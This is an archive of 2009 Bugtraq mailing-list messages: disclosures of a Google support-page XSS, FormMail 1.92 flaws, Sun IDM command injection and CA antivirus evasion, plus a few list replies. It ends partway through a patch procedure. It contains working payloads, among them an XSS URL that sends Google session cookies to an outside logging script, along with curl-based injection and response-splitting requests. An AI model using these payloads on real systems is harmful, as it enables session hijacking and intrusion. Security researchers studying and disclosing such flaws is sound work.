> Google’s Response: 04/18/2009 10.19 pm (Wow! that was super fast for Saturday :))
> Vulnerability Fixed: 05/05/2009 7.05 pm
> Change Propogated: 05/07/2009 3.19 pm
>
> I recently reported a cross-scripting flaw to Google, which is now fixed. The vulnerability existed in Google’s Support Python Script where a malicious url is not sanitized for XSS character ‘ (single quote) before putting inside javascript variable logURL. As a result, it was possible to break the encapsulation of the var declaration and execute arbitary javascript commands on the main Google.com domain.
>
> The only limitation was the following characters were either filtered out or url encoded - ” (double quote) < > (space) { }. However, this protection could be easily circumvented. I was able to write javascript statements to steal the session cookies [since characters such as ' ; . ( ) / = + were still available] and send it to my evil website. See the example given below.
>
> Your Google.com domain cookie is the central Single Sign-On cookie to all google services. Once anyone gets it, he or she can use it to
>
> 1. Steal your emails.
> 2. Steal your contacts.
> 3. Steal your documents.
> 4. Steal your code.
> 5. Steal your sites.
> 6. Steal your website analytics.
> 7. Backdoor your iGoogle Homepage with malicious gadgets.
> …. and there should be still some more things remaining that you can play with.
>
> Simple Proof of Concept Code that displays your Google.com cookie in an alert box:-
>
>
http://google.com/support/webmasters/bin/answer.py?answer4575&cbid=-1oudgq5c3804g';alert(document.cookie);//&src�&lev=index
>
> More real-world example where an attacker will silently transfer your Google.com cookie to his or her evil site:-
>
>
http://google.com/support/webmasters/bin/answer.py?answer4575&cbid=-1oudgq5c3804g';ifr=document.createElement('iframe');ifr.src='http:'+'//www.securethoughts.com/security/cookielogger/log.cgi?cookie='+escape(document.cookie);document.body.appendChild(ifr);//src�&lev=index
>
> I would like thank the Google Security Team for their prompt responses and fixing this serious issue in a timely manner. If you think Google took a long time in fixing this vulnerability, think again. This python script is used in a lot of places. Try this Google Dork to see the usage of this script in almost all Google Services.
--
Nam Nguyen
Blue Moon Consulting Co., Ltd
http://www.bluemoon.com.vn
From - Tue May 12 11:53:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000798e
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40294-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 0755DED4FA
for <lists@securityspace.com>; Tue, 12 May 2009 11:45:49 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id D0E45143D1F; Tue, 12 May 2009 07:44:30 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 21851 invoked from network); 12 May 2009 10:32:59 -0000
Message-ID: <4A095058.2060809@katamail.com>
Date: Tue, 12 May 2009 12:32:56 +0200
From: ascii <ascii@katamail.com>
User-Agent: Thunderbird 2.0.0.21 (X11/20090409)
MIME-Version: 1.0
To: Full-Disclosure <full-disclosure@lists.grok.org.uk>,
Bugtraq <bugtraq@securityfocus.com>,
Secunia Research <vuln@secunia.com>,
Vulnwatch <vulnwatch@vulnwatch.org>,
Vulnerability Information Managers <vim@attrition.org>,
News Securiteam <news@securiteam.com>
Subject: FormMail 1.92 Multiple Vulnerabilities
X-Enigmail-Version: 0.95.7
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Status:
FormMail 1.92 Multiple Vulnerabilities
Name Multiple Vulnerabilities in FormMail
Systems Affected FormMail 1.92 and possibly earlier versions
Severity Medium
Impact (CVSSv2) Medium 4.3/10, vector: (AV:N/AC:M/Au:N/C:P/I:N/A:N)
Vendor
http://www.scriptarchive.com/formmail.html
Advisory
http://www.ush.it/team/ush/hack-formmail_192/adv.txt
Authors Francesco "ascii" Ongaro (ascii AT ush DOT it)
Giovanni "evilaliv3" Pellerano (evilaliv3 AT ush DOT it)
Antonio "s4tan" Parata (s4tan AT ush DOT it)
Date 20090511
I. BACKGROUND
FormMail is a generic HTML form to e-mail gateway that parses the
results of any form and sends them to the specified users. This script
has many formatting and operational options, most of which can be
specified within each form, meaning you don't need programming knowledge
or multiple scripts for multiple forms. This also makes FormMail the
perfect system-wide solution for allowing users form-based user feedback
capabilities without the risks of allowing freedom of CGI access. There
are several downloading options available below and more information on
this script can be found in the Readme file. FormMail is quite possibily
the most used CGI program on the internet, having been downloaded over
2,000,000 times since 1997.
II. DESCRIPTION
Multiple Vulnerabilities exist in FormMail software.
III. ANALYSIS
Summary:
A) Prelude to the vulnerabities
B) Cross Site Scripting
C) HTTP Response Header Injection
D) HTTP Response Splitting
A) Prelude to the vulnerabities
What follows is the code used to validate the user input:
Line 283: $safeConfig array definition.
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
foreach $field (keys %Config) {
$safeConfig{$field} = &clean_html($Config{$field});
}
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
Line 518: definition of clean_html function, used to generate the
"$safeConfig" array from "$Config".
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
# This function will convert <, >, & and " to their HTML equivalents.
sub clean_html {
local $value = $_[0];
$value =~ s/\&/\&/g;
$value =~ s/</\</g;
$value =~ s/>/\>/g;
$value =~ s/"/\"/g;
return $value;
}
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
These functions are not always applied to the user input and don't
protect against all the attack vectors (as URI or DOM XSS that can work
also if encoded), this is why various vulnerabilities exist.
B) Cross Site Scripting vulnerability
Line 293: the "redirect" variable is used to write the location header
value. Its value is not filtered so it's possible to perform both
HTTP Header Injection and an HTTP Response Splitting attacks.
Since Header Injection is one of the most versatile attack vectors we
could use it (like "downgrade it") to perform a Cross Site Scripting
attack but it would not represent a different vulnerability.
In this case we are already inside a "Location" response header and it's
possible to perform an XSS without splitting the response and using the
standard Apache page for the 302 Found HTTP status.
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
# If redirect option is used, print the redirectional location header.
if ($Config{'redirect'}) {
print "Location: $safeConfig{'redirect'}\n\n";
}
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
XSS vulnerability example:
http://127.0.0.1/FormMail.pl?recipient=evilaliv3@ush.it&subject=1&redire
ct=javascript:alert(%27USH%27);
Response:
$ curl -kis "
http://127.0.0.1/FormMail.pl?recipient=evilaliv3@ush.it&sub
ject=1&redirect=javascript:alert(%27USH%27);"
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
HTTP/1.1 302 Found
Date: Sat, 11 Apr 2009 14:12:11 GMT
Server: Apache
Location: javascript:alert('USH');
Content-Length: 267
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="javascript:alert('USH');">here</a>.</p>
<hr>
<address>Apache Server at 127.0.0.1 Port 80</address>
</body></html>
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
Obiously the XSS is not automatic since browsers don't follow the
"javascript:" URI handler in the "Location" header.
A second XSS vulnerability, not based on HTTP tricks, exists: in the
following code the the "$return_link" variable is reflected (printed) in
the page body without any validation:
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
Line 371: the "$return_link" variable is printed in the page body
without any validation.
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
# Check for a Return Link and print one if found. #
if ($Config{'return_link_url'} && $Config{'return_link_title'}) {
print "<ul>\n";
print "<li><a
href=\"$safeConfig{'return_link_url'}\">$safeConfig{'return_link_title'}</a>\n";
print "</ul>\n";
}
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
The vulnerability can be triggered with the following request:
$ curl -kis "
http://127.0.0.1/FormMail.pl?recipient=evilaliv3@ush.it&subj
ect=1&return_link_url=javascript:alert(%27USH%27);&return_link_title=USH"
This XSS is not automatic.
C) HTTP Response Header Injection
An HTTP Response Header Injection vulnerability exists, the following
request triggers the vulnerability:
$ curl -kis "
http://127.0.0.1/FormMail.pl?recipient=evilaliv3@ush.it&sub
ject=1&redirect=
http://www.example.com%0D%0aSet-Cookie:auth%3DUSH;vuln%3
DHTTPHeaderInjection;"
Can be verified with the obvious "javascript:alert(document.cookie)".
D) HTTP Response Splitting
Thanks to the full exploitability of the Header Injection vulnerability
an HTTP Response Splitting can be performed.
The following request is an example of the attack:
http://127.0.0.1/FormMail.pl?recipient=evilaliv3@ush.it&subject=1&redire
ct=
http://www.ush.it%0D%0A%0FContent-Length:%200%0D%0AContent-Type:%20te
xt/plain%0D%0AStatus:302%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Typ
e:%20text/plain%0D%0A
http://www.ush.it
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
$ curl -kis "
http://127.0.0.1/FormMail.pl?recipient=evilaliv3@ush.it&sub
ject=1&redirect=%0D%0A%0FContent-Length:%200%0D%0AContent-Type:%20text/p
lain%0D%0AStatus:302%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:%2
0text/plain%0D%0A
http://www.ush.it"
HTTP/1.1 302 Found
Date: Sun, 12 Apr 2009 23:01:18 GMT
Server: Apache
Content-Length: 0
Location:
Transfer-Encoding: chunked
Content-Type: text/plain
HTTP/1.1 200 OK
Content-Type: text/plain
http://www.ush.it
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
HTTP Response Splitting can be used to trigger a number of different
vectors, ranging from automatic Reflected XSS to Browser and Proxy
Cache Poisoning.
IV. DETECTION
FormMail 1.92 and possibly earlier versions are vulnerable.
V. WORKAROUND
VI. VENDOR RESPONSE
VII. CVE INFORMATION
No CVE at this time.
VIII. DISCLOSURE TIMELINE
20070501 Bug discovered
20070531 Initial vendor contact (Thu, 31 May 2007 22:21:39 +0200)
-- No response and the bug sleeped for some time in ascii's mind --
20090505 Second vendor contact
-- Giving up, will have better results with forced disclosure --
20090511 Advisory Release
IX. CREDIT
Francesco "ascii" Ongaro, Giovanni "evilaliv3" Pellerano and Antonio
"s4tan" Parata are credited with the discovery of this vulnerability.
Francesco "ascii" Ongaro
web site:
http://www.ush.it/
mail: ascii AT ush DOT it
Giovanni "evilaliv3" Pellerano
web site:
http://www.evilaliv3.org
mail: giovanni.pellerano AT evilaliv3 DOT org
Antonio "s4tan" Parata
web site:
http://www.ictsc.it/
mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
X. LEGAL NOTICES
Copyright (c) 2009 Francesco "ascii" Ongaro
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
From - Tue May 12 11:53:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000798f
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40292-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 4BD34ED506
for <lists@securityspace.com>; Tue, 12 May 2009 11:51:15 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 7ECF9143B58; Tue, 12 May 2009 07:43:35 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 18996 invoked from network); 12 May 2009 07:20:05 -0000
Message-ID: <4A092320.2060103@usit.uio.no>
Date: Tue, 12 May 2009 09:20:00 +0200
From: =?ISO-8859-1?Q?�ystein_Larsen?= <oystein.larsen@usit.uio.no>
User-Agent: Thunderbird 2.0.0.21 (X11/20090302)
MIME-Version: 1.0
To: =?ISO-8859-1?Q?David_S�nchez_Mart�n?= <dsanchez@e2000.es>
Cc: bugtraq@securityfocus.com
Subject: Re: Insufficient Authentication vulnerability in Acer notebooks
References: <00ca01c9d172$69c33ed0$010000c0@ml> <D4C6B087FA434EACB6CD10AEF2C8FD04@e2000.local>
In-Reply-To: <D4C6B087FA434EACB6CD10AEF2C8FD04@e2000.local>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-UiO-Ratelimit-Test: rcpts/h 2 msgs/h 1 sum rcpts/h 2 sum msgs/h 1 total rcpts 179 max rcpts/h 14 ratelimit 0
X-UiO-Spam-info: not spam, SpamAssassin (score=-5.0, required=5.0, autolearn=disabled, UIO_MAIL_IS_INTERNAL=-5, uiobl=_BLID_, uiouri=_URIID_)
X-UiO-Scanned: 6A7B1991AF2D0C0189767A889A53FC8677EC13CF
X-UiO-SPAM-Test: remote_host: 129.240.6.32 spam_score: -49 maxlevel 80 minaction 2 bait 0 mail/h: 1 total 1669 max/h 339 blacklist 0 greylist 0 ratelimit 0
Status:
David S�nchez Mart�n wrote:
> hi folk,
>
> Is not that a simple design decission? (truly brain-dead, but a
> conscious decission).
Seat belts are useless if people prefer riding on the roof.
--
�ystein Larsen <oystein.larsen@usit.uio.no>
USIT/SAPP/BSD
+47 228 52829
It's
From - Tue May 12 12:03:41 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007990
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40299-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id C804CED506
for <lists@securityspace.com>; Tue, 12 May 2009 11:56:50 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id A1A4814380D; Tue, 12 May 2009 08:53:40 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 28766 invoked from network); 12 May 2009 14:40:18 -0000
Message-ID: <4A098A48.1000301@scanit.be>
Date: Tue, 12 May 2009 16:40:08 +0200
From: "abb@scanit.be" <abb@scanit.be>
User-Agent: Thunderbird 2.0.0.21 (X11/20090318)
MIME-Version: 1.0
To: bugtraq@securityfocus.com
Subject: Sun IDM Arbitrary Commands Execution Vulnerability
X-Enigmail-Version: 0.95.7
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-AxigenSpam-Level: 4
Status:
1) Summary
Affected Software: Sun IDM 7.1, 8.0
Vendor URL:
http://www.sun.com/
Severity: Medium
2) Description
Sun Identity Manager facilitates centralized identity provisioning for
variety of application and platforms. Its web interface allows end users
to request password change. To handle such requests the system has to
manipulate account databases on the target resources. In the case of
*NIX-based systems the management server remotely logs in to a target
server and issues a series of shell command, using send-expect technique.
The system allows users to submit passwords containing control
characters including new line (ASCII 0x0A). The implementation of
send-expect mechanism fails to handle such passwords correctly. This
flaw allows an unprivileged Sun IDM user to execute an arbitrary UNIX
shell command by requesting a password to be changed to a specially
crafted value. The injected command will be executed with root
privileges on all UNIX systems the user is provisioned on.
3) Details
The attack is enabled by two factors:
1. New line character (ASCII 0x0A) is allowed in user passwords
2. *NIX connectors utilize send-expect technique to interact
with 'passwd' program, but fails to handle passwords
containing new line characters.
In the process of changing the user password to a value containing a
newline the interaction between the IDM connector and UNIX shell goes
out of sync and the password gets executed by UNIX shell running as root.
To reproduce, request a password change for a user provisioned on some
Solaris server. The password has to consist of a UNIX shell command to
be executed repeated twice and separated by the new line character. One
way of doing it is to use an intercepting web proxy (such as Webscarab)
to modify HTTP message carrying the password change request. For
example, to inject 'id > /x' command, the modified request will look as
following:
POST /idm/user/changePassword.jsp?lang=en&cntry=US HTTP/1.1
id=***&command=Save&activeControl=&resourceAccounts.selectAll=true&
resourceAccounts.password=id>/x%0aid>/x&resourceAccounts.confirmPassword=id>/x%0aid>/x
In the request above the values of resourceAccounts.password and
resourceAccounts.confirmPassword parameters contain %0a, which is
URL-encoding for the new line character. After the request is submitted,
/x file will appear on resources the user is provisioned at:
# ls -l /x
-rw-r--r-- 1 root root 24 Dec 22 15:52 /x
# cat /x
uid=0(root) gid=0(root)
4) Solution
This vulnerability is addressed by security patches released by the
vendor. Sun Alert document #253267
(
http://sunsolve.sun.com/search/document.do?assetkey=1-26-253267-)
contains information about suitable patches.
5) Workaround
The password policy can be used to prohibit new line characters in
passwords. This can be done by editing the password policy object
through the debugging interface of IDM, the relevant portion of the
object should look as follows:
<Attribute name='Must Not Contain Words'>
<List>
<String>
</String>
</List>
</Attribute>
The workaround is somewhat fragile, it must be re-applied each time
after the password policy gets edited via GUI, because GUI drops the new
line character from the rule.
6) Time Table
2008/12/24 The vendor was informed
2009/01/14 The vendor has confirmed the problem
2009/03/23 Sun Security Alert #253267 was published
2009/05/12 Scanit Advisory was published
7) Additional Information
The original advisory can be found here:
http://www.scanit.be/advisory-2005-05-12.html
8) About Scanit
Scanit is a security company located in Brussels, Belgium. We specialize
in security assessments, offering services such as penetration tests,
application source code reviews, and risk assessments. More information
can be found at
http://www.scanit.be/
--
Alexandre Bezroutchko
From - Tue May 12 12:13:41 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007991
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40289-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 58248ED356
for <lists@securityspace.com>; Tue, 12 May 2009 12:09:03 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 8000C143947; Tue, 12 May 2009 07:42:43 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 17074 invoked from network); 12 May 2009 04:40:03 -0000
MIME-Version: 1.0
Date: Tue, 12 May 2009 00:39:59 -0400
To: juha-matti.laurio@netti.fi, dr@kyx.net
Cc: bugtraq@securityfocus.com
Subject: Re: Five days left to find the oldest data loss incident
From: "Elazar Broad" <elazar@hushmail.com>
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset="UTF-8"
Message-Id: <20090512043959.9D65F20044@smtp.hushmail.com>
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Do cipher disks count? Though not mechanical, I guess you could say
that they compute in a way similar to manual calculators i.e. the
abacus.
On Mon, 11 May 2009 12:39:47 -0400 Dragos Ruiu <dr@kyx.net> wrote:
>On 11-May-09, at 7:29 AM, Juha-Matti Laurio wrote:
>
>> The oldest documented vulnerability in computer security world
>is
>> password file disclosure vulnerability from 1965, found by Mr.
>Ryan
>> Russell.
>>
>> Open Security Foundation launched a competition in April to find
>the
>> oldest documented data loss incident.
>>
>> They have announced that the last day to make a submission is
>next
>> Friday - 15th May.
>>
>> The contest page is located at
>>
http://datalossdb.org/oldest_incidents_contest
>>
>> Juha-Matti
>
>
>Mechanical computers are computers. The loss and the algorithmic
>crack
>of the Enigma machine circa 1939 should count - the story and
>break
>of the more difficult 4 rotor Naval Machine at Bletchley park
>recovered from the U-boat and cracked in 1941 is the most famous.
>
>
http://users.telenet.be/d.rijmenants/en/enigmauboats.htm
>
>But I would nominate the break of the 3 Rotor Enigma circa 1939,
>by
>the Polish, as the first documented computer security
>vulnerability.
>
>
http://www.avoca.ndirect.co.uk/enigma/index.html
>
>cheers,
>--dr
>
>--
>World Security Pros. Cutting Edge Training, Tools, and Techniques
>London, U.K. May 27/28 2009
http://eusecwest.com
>Tokyo, Japan November 4/5 2009
http://pacsec.jp
>Vancouver, Canada March 22-26
http://cansecwest.com
>pgpkey
http://dragos.com/ kyxpgp
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify
wpwEAQECAAYFAkoI/Z8ACgkQi04xwClgpZg6HAP8DdoRINn/iXZH2NOhm/iyhbNME9Ez
xU1Mggp2NXfkPd3ZoPoBy8rDo55XsvYNZkFsv1INHLfcsHVoPyK5XFRkGelJSSeIkMw4
pLtFkPW5dPE2rcRixvpdGKPWUsNRRV+n8kvhtNGpPO83vJIycZGADuWItboICeit3qyc
OoS+YX8�dk
-----END PGP SIGNATURE-----
--
Become a Top Chef!
http://tagline.hushmail.com/fc/BLSrjkqeZGC1iU8UNYnXYs2wzVbwlJNjPEysbtG8p61keg2RW7WhQGpdXuY/
From - Tue May 12 12:43:41 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007992
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40298-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 9531BED274
for <lists@securityspace.com>; Tue, 12 May 2009 12:41:05 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 1245014376E; Tue, 12 May 2009 08:53:19 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 27613 invoked from network); 12 May 2009 14:20:17 -0000
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: CA20090126-01: CA Anti-Virus Engine Detection Evasion Multiple Vulnerabilities [Updated]
Date: Tue, 12 May 2009 10:19:35 -0400
Message-ID: <649CDCB56C88AA458EFF2CBF494B620406E545A0@USILMS12.ca.com>
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
Thread-Topic: CA20090126-01: CA Anti-Virus Engine Detection Evasion Multiple Vulnerabilities [Updated]
Thread-Index: AcnTDK0UC+gF1SLGQD+C562OHEiLjg=From: "Williams, James K" <James.Williams@ca.com>
To: <bugtraq@securityfocus.com>
X-OriginalArrivalTime: 12 May 2009 14:20:09.0917 (UTC) FILETIME=[C1ACDED0:01C9D30C]
Status:
Title: CA20090126-01: CA Anti-Virus Engine Detection Evasion
Multiple Vulnerabilities
CA Advisory Reference: CA20090126-01
CA Advisory Date: 2009-01-26
CA Advisory Updated: May 12, 2009
Reported By:
Thierry Zoller and Sergio Alvarez of n.runs AG
Impact: A remote attacker can evade detection.
Summary: The CA Anti-Virus engine contains multiple
vulnerabilities that can allow a remote attacker to evade
detection by the Anti-Virus engine by creating a malformed archive
file in one of several common file archive formats. CA has
released a new Anti-Virus engine to address the vulnerabilities.
The vulnerabilities, CVE-2009-0042, are due to improper handling
of malformed archive files by the Anti-Virus engine. A remote
attacker can create a malformed archive file that potentially
contains malware and evade anti-virus detection.
Note: After files have been extracted from an archive, the desktop
Anti-Virus engine is able to scan all files for malware.
Consequently, detection evasion can be a concern for gateway
anti-virus software if archives are not scanned, but the risk is
effectively mitigated by the desktop anti-virus engine.
Mitigating Factors: See note above.
Severity: CA has given these vulnerabilities a Low risk rating.
Affected Products:
CA Anti-Virus for the Enterprise (formerly eTrust Antivirus) 7.1,
r8, r8.1
CA Anti-Virus 2007 (v8), 2008
eTrust EZ Antivirus r6.1, r7, r7.1
CA Internet Security Suite 2007 (v3), 2008
CA Internet Security Suite Plus 2008
CA Threat Manager for the Enterprise (formerly eTrust Integrated
Threat Management) r8, 8.1
CA Anti-Virus Gateway (formerly eTrust Antivirus Gateway) 7.1
CA Gateway Security r8.1
CA Protection Suites r2, r3, r3.1
CA Secure Content Manager (formerly eTrust Secure Content Manager)
1.1, 8.0, 8.1
CA Anti-Spyware for the Enterprise (Formerly eTrust PestPatrol)
r8, 8.1
CA Anti-Spyware 2007, 2008
CA Network and Systems Management (NSM) (formerly Unicenter
Network and Systems Management) r3.0, r3.1, r11, r11.1
CA ARCserve Backup r11.1, r11.5, r12 on Windows
CA ARCserve Backup r11.1, r11.5 Linux
CA ARCserve for Windows Client Agent
CA ARCserve for Windows Server component
CA eTrust Intrusion Detection 2.0 SP1, 3.0, 3.0 SP1
CA Common Services (CCS) r3.1, r11, r11.1
CA Anti-Virus SDK (formerly eTrust Anti-Virus SDK)
Non-Affected Products:
CA Anti-Virus engine with arclib version 7.3.0.15 installed
Affected Platforms:
Windows
UNIX
Linux
Solaris
Mac OS X
NetWare
Status and Recommendation:
CA released arclib 7.3.0.15 in September 2008. If your product is
configured for automatic updates, you should already be protected,
and you need to take no action. If your product is not configured
for automatic updates, then you simply need to run the update
utility included with your product.
CA Network and Systems Management (NSM) r11.1 SP1, and CA Common
Services (CCS) r11.1 SP1: apply fix #RO05417.
CA Common Services (CCS) r3.1: apply fix #RO05418.
CA Anti-Virus for the Enterprise (formerly eTrust Antivirus) 7.1:
apply fix #RO01955.
CA Secure Content Manager (formerly eTrust Secure Content Manager)
r1.1: apply fix #RO05629.
CA Secure Content Manager (formerly eTrust Secure Content Manager)
r8.0: apply fix #RO05309.
CA Secure Content Manager (formerly eTrust Secure Content Manager)
r8.1: apply fix #RO05868.
CA Anti-Virus Gateway (formerly eTrust Antivirus Gateway) 7.1:
apply fix #RO05631.
CA Gateway Security r8.1: apply Cumulative Fix 1.
CA ARCserve for Windows Server component installed on a 64 bit
machine: apply fixes # RO01955 and RO01956.
CA ARCserve for Windows Server component installed on a 32 bit
machine: apply fix # RO01955.
CA ARCserve for Windows Client Agent installed on a 64 bit
machine: apply fix # RO01956.
CA ARCserve for Windows Client Agent installed on a 32 bit
machine: apply fix # RO01955.
CA ARCserve for Linux Server r11.5: apply fix # RO01959.
CA ARCserve for Linux:
1. Download RO01959.tar.Z from RO01959 into a temporary location
/tmp/RO01959
2. Uncompress and untar RO01959.tar.Z as follows:
uncompress RO01959.tar.Z
tar -xvf RO01959.tar
The new "libarclib.so" will be extracted to /tmp/RO01959
3. Change the directory to $CAIGLBL0000/ino/config as follows:
cd $CAIGLBL0000/ino/config
4. Rename "libarclib.so" to "libarclib.so.RO01959" as follows:
mv libarclib.so libarclib.so.RO01959
5. Copy the new libarclib.so as follows:
cp /tmp/RO01959/libarclib.so $CAIGLBL0000/ino/config/.
6. chmod +x $CAIGLBL0000/ino/config/libarclib.so
7. Stop the common agent (caagent stop)
8. Change the directory to ARCserve common agent directory
